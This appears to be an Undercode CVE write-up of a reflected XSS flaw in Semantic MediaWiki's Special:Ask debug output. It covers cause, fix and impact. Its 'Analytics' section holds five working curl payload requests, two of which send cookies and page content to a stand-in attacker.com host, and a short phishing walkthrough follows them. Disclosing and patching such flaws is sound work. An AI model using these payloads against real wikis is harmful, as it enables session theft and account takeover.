Listen to this Post
Semantic MediaWiki’s query debug output feature, accessible via `format=debug` or the `debug` request parameter on Special:Ask, is assembled by the `SMW\Query\DebugFormatter` class and emitted as raw HTML. Several of its output sinks apply no output-context encoding, meaning attacker-controlled query input is reflected into the page without proper escaping. The `buildHTML()` method echoes the re-serialized ASK query string while only escaping a limited set of characters, allowing <, >, ", and `’` to pass through. The `prettifySQL()` method returns the generated SQL verbatim, inlining query value literals through the database layer’s quoting which applies SQL-escaping but no HTML encoding, so markup in a value survives. The `prettifyExplain()` method echoes `EXPLAIN` output, and on PostgreSQL the plan text contains the `WHERE` literals. On Special:Ask, the resulting string is concatenated into the page and sent through OutputPage::addHTML, never through the MediaWiki parser or Sanitizer. No special user right is required; an anonymous request suffices. This is a reflected XSS vulnerability: the payload is taken from the request and echoed in the same response. Exploitation requires the query condition to target a text or blob-typed property whose value is re-serialized verbatim; the predefined `_txt` properties such as Text that ship on every install satisfy this requirement, so no attacker-created content is needed. An example request is Special:Ask?q=[[Text::<script>alert(document.domain)</script>]]&debug=1. The vulnerability was identified while splitting the consolidated report GHSA-5jhc-3j2f-52rv into per-vulnerability advisories, and is distinct from the four items in that report (plain table header, sep, SearchByProperty value, open redirect) and from Special:Ask form-input XSS which is escaped separately. Remediation involves applying output-context escaping at the `DebugFormatter` boundary, escaping each entry value on emission and the SQL and `EXPLAIN` strings before they are wrapped. Escaping only the query-string echo is insufficient because `prettifySQL()` and the “Auxilliary Tables” executed-query text carry the same attacker-controlled literals. The `prettifySPARQL()` sink already encodes `<` and `>` and is not affected. The same debug path is also reachable through inline {{ask:...|format=debug}}, but that output returns into parser context and is sanitized there; the reflected `Special:Ask` path is the exposed sink.
DailyCVE Form:
Platform: Semantic MediaWiki
Version: before 7.2.0
Vulnerability: Reflected XSS
Severity: Moderate
date: 2026-07-17
Prediction: 2026-07-17
What Undercode Say:
Analytics:
curl "http://target-wiki/index.php/Special:Ask?q=[[Text::<script>alert(document.domain)</script>]]&debug=1"
curl "http://target-wiki/index.php/Special:Ask?q=[[Text::<img src=x onerror=alert(1)>]]&debug=1"
curl "http://target-wiki/index.php/Special:Ask?q=[[Text::<svg/onload=alert(document.cookie)>]]&debug=1"
curl "http://target-wiki/index.php/Special:Ask?q=[[Text::<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>]]&debug=1"
curl "http://target-wiki/index.php/Special:Ask?q=[[Text::<script>new Image().src='https://attacker.com/log?data='+encodeURIComponent(document.body.innerHTML)</script>]]&debug=1"
How Exploit: (Educational Purposes!)
An attacker crafts a malicious URL containing a JavaScript payload within a semantic query condition, targeting a text-typed property such as Text. The payload is embedded in the `q` parameter and the `debug=1` parameter is appended to force the debug output. When a victim clicks the link, the Semantic MediaWiki debug formatter processes the query and reflects the unescaped payload directly into the HTML response via OutputPage::addHTML. The victim’s browser executes the script in the context of the wiki’s origin, allowing the attacker to steal session cookies, perform actions on behalf of the victim, or redirect the user to a malicious site. No authentication is required, and the vulnerable endpoint is accessible to anonymous users. The attack is particularly effective because the predefined `Text` property is available on every Semantic MediaWiki installation, eliminating the need for the attacker to create any content beforehand.
Protection: from this CVE
Update Semantic MediaWiki to version 7.2.0 or later, which contains the fix for this reflected XSS vulnerability. If immediate updating is not possible, implement a Web Application Firewall rule to block requests containing suspicious characters such as <, >, ", or `’` in the `q` parameter of Special:Ask. Additionally, avoid clicking untrusted links that point to `Special:Ask` with a `debug` parameter. System administrators should monitor access logs for requests to `Special:Ask` containing `debug=1` and unusual query syntax. The fix applies output-context escaping at the `DebugFormatter` boundary, ensuring that all entry values, SQL strings, and `EXPLAIN` output are properly HTML-encoded before being emitted.
Impact:
Successful exploitation allows an attacker to execute arbitrary JavaScript code in the context of a victim’s browser session on the affected wiki. This can lead to theft of session cookies and authentication tokens, allowing full account takeover. Attackers can perform any action the victim is authorized to do, including reading private wiki content, modifying pages, or deleting data. The reflected nature of the vulnerability makes it suitable for phishing campaigns where victims are tricked into clicking a malicious link. Since no authentication is required and the payload is delivered via a URL, the vulnerability can be exploited at scale by distributing the crafted link through email, social media, or other channels. The impact is limited to the wiki’s origin, but if the wiki is part of a larger single-sign-on infrastructure, the stolen credentials could be used to access other services.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
